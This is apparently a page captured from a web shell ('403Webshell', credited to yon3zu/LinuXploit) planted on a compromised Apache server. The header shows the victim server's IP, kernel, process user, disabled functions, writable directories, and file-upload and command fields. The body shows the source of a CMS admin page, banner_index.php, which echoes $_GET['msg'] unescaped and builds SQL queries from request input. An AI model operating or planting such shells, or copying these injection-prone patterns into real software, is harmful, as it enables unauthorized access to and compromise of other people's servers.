403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/kelvin/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/kelvin/webadmin/banner_index.php
<?php
include 'config.php';

// Check if the user is logged in

if ((!isSet($_SESSION['loginname'])) || ($loggin <> '1'))
{
header("Location: login.php");
exit;
}
?>
<?php
require("configure.php");
	$menuid=check_input($_REQUEST["menuid"]);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Content Management System (CMS) - Powered by One Solution Limited</title>
<link rel="stylesheet" type="text/css" href="css/style.css" />
<!-- Main Menu -->
<link rel="stylesheet" type="text/css" href="css/menu.css" />
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
<script type="text/javascript" src="js/ddaccordion.js"></script>
<script type="text/javascript" src="js/menuddaccordion.js"></script>
<!-- End Main Menu -->
<script type="text/javascript">
function DeleteRowCategory(bannerid,menuid)
{
  if (confirm("Are you sure you want to delete?"))
	{
		window.location.href = 'banner_delete.php?bannerid='+bannerid+'&menuid='+menuid;
	}
}
</script>

</head>

<body>
<table width="1000" height="600" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td width="200" align="left" valign="top"><table width="200" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td height="70" align="left" valign="middle">&nbsp;</td>
	  </tr>
	  <tr>
	  	<td width="200" align="left" valign="top"><!-- Main Menu --><?php require("menu.php");?><!-- End Main Menu --></td>
	</tr>
	</table></td>
	<td width="800" align="left" valign="top"><table width="800" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td><table width="800" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td height="70" class="pagetitletxt">&nbsp;&nbsp;</td>
              <td width="50" align="center" class="icontxt"><a href="banner_addform.php?menuid=<?=$menuid?>"><img src="images/iconNew.png" alt="Add" width="32" height="32" border="0" /><br />&nbsp;Add&nbsp;&nbsp;</a></td>
            </tr>
          </table></td>
      </tr>
	 <tr>
        <td class="pagetitletxt">&nbsp;&nbsp;<b><img src="images/iconList.jpg" width="48" height="48" align="absmiddle" />
		        <?php
			        if($menuid == "2")
				        echo "Material";
			        else if($menuid == "4")
				        echo "Design";
			        else if($menuid == "5")
				        echo "Technology";
			        else if($menuid == "7")
				        echo "About Us";
			        else if($menuid == "8")
				        echo "Contact Us";
			        else {}
		        ?> Banner</b></td>
      </tr>
      <tr>
        <td height="25" align="left" valign="middle" class="msg"><?php echo $_GET['msg']; ?></td>
      </tr>
      <tr>
        <td align="left" valign="middle"><table width="800" border="0" cellpadding="0" cellspacing="0">
            <tr>
              <td width="10" class="listtitletxt"></td>
			 <td width="40" class="listtitletxt">Sort</td>
	          <td width="80" class="listtitletxt">Page</td>
	          <td width="120" class="listtitletxt">Category</td>
			  <td width="300" class="listtitletxt">Image</td>

			  <td width="20" class="listtitletxt"></td>
			  <td width="20" class="listtitletxt"></td>
			  <td width="20" class="listtitletxt"></td>
            </tr>
		        <form name="banner_sort_update" method="post" action="banner_sort_update.php" enctype="multipart/form-data">
			        <input type="hidden" name="menuid" value="<?=$menuid?>" />
            <?php
			$result = mysql_query("SELECT * from banner where belongpage='$menuid' order by belongpage ASC, belongcatid ASC");
			while ($row = mysql_fetch_array($result,MYSQL_ASSOC))
			{
				print "<tr>";
				print "<td class='listtxt' style='padding-left:5'>&nbsp;</td>";
				print "<td class='listtxt' valign='middle' align='left'><input class='sortinput' type='text' name='idarraynumber[]' value='".$row{'sort'}."' size='2' /><input type='hidden' name='idarray[]'  value='".$row{'bannerid'}."'></td>";

				$result2 = mysql_query("SELECT * from menu where menuid='$menuid'");
				$row2 = mysql_fetch_array($result2,MYSQL_ASSOC);

				if ($row2{'menutitleen'} <> '') {
					print "<td class='listtxt' style='padding-left:5'>".$row2{'menutitleen'}."</td>";
				} else if ($row2{'menutitletc'} <> '') {
					print "<td class='listtxt' style='padding-left:5'>".$row2{'menutitletc'}."</td>";
					//} else if ($row{'bannerimgaltsc'} <> '') {
					//	print "<td class='listtxt' style='padding-left:5'>".$row{'bannerimgaltsc'}."</td>";
				}  else	{
					print "<td class='listtxt' style='padding-left:5'></td>";
				}

				$result3 = mysql_query("SELECT * from submenu where submenu_id='".$row{"belongcatid"}."'");
				$row3 = mysql_fetch_array($result3,MYSQL_ASSOC);
				if ($row3{'submenuen'} <> '') {
					print "<td class='listtxt' style='padding-left:5'>".$row3{'submenuen'}."</td>";
				} else if ($row3{'submenutc'} <> '') {
					print "<td class='listtxt' style='padding-left:5'>".$row3{'submenutc'}."</td>";
					//} else if ($row{'bannerimgaltsc'} <> '') {
					//	print "<td class='listtxt' style='padding-left:5'>".$row{'bannerimgaltsc'}."</td>";
				}  else	{
					print "<td class='listtxt' style='padding-left:5'></td>";
				}


				if ($row{'bannerimgen'} <> '') {
					print "<td class='listtxt' style='padding-left:5'><img src='../images/banner/".$row{'bannerimgen'}."' width='200' border='0'></td>";
				} else if ($row{'bannerimgtc'} <> '') {
					print "<td class='listtxt' style='padding-left:5'><img src='../images/banner/".$row{'bannerimgtc'}."' width='200' border='0'></td>";
				//} else if ($row{'bannerimgsc'} <> '') {
				//	print "<td class='listtxt' style='padding-left:5'><img src='../images/banner/".$row{'bannerimgsc'}."' width='300' border='0'></td>";
				}  else	{
					print "<td class='listtxt' style='padding-left:5'></td>";
				}



				//Status
				print "<td class='listtxt' align='center'>";
				if ($row{'status'} == '1') // Enable
				{
					print "<a href='banner_status.php?bannerid=".$row{'bannerid'}."&menuid=".$menuid."'>";
					print "<img src='images/tick.png' title='Enable' alt='Enable' border='0' hspace='2'></a>";
				}
				else // Disable
				{
					print "<a href='banner_status.php?bannerid=".$row{'bannerid'}."&menuid=".$menuid."'>";
					print "<img src='images/cross.png' title='Disable' alt='Disable' border='0' hspace='2'></a>";
				}
				print "</td>";


				
				//Modify
				print "<td class='listtxt' align='center'><a href='#' onClick=\"window.location='banner_modifyform.php?bannerid=".$row{'bannerid'}."&menuid=".$menuid."'\"><img src='images/btnModify.png' title='Modify' alt='Modify' hspace='2' border='0'></a></td>";
				
				// Delete
				print "<td class='listtxt' align='center'><a href='#' onClick=\"DeleteRowCategory(".$row{'bannerid'}.", ".$menuid.")\"><img src='images/btnDelete.png' title='Delete' alt='Delete' hspace='2' border='0'></a></td>";
				print "</tr>";
			}
			mysql_close($dbh);
			?>
        </table><input type="submit" value="Update Sort"></form>
        </td>
      </tr>
</table>
</td></tr>
</table>
</body>
</html>


Youez - 2016 - github.com/yon3zu
LinuXploit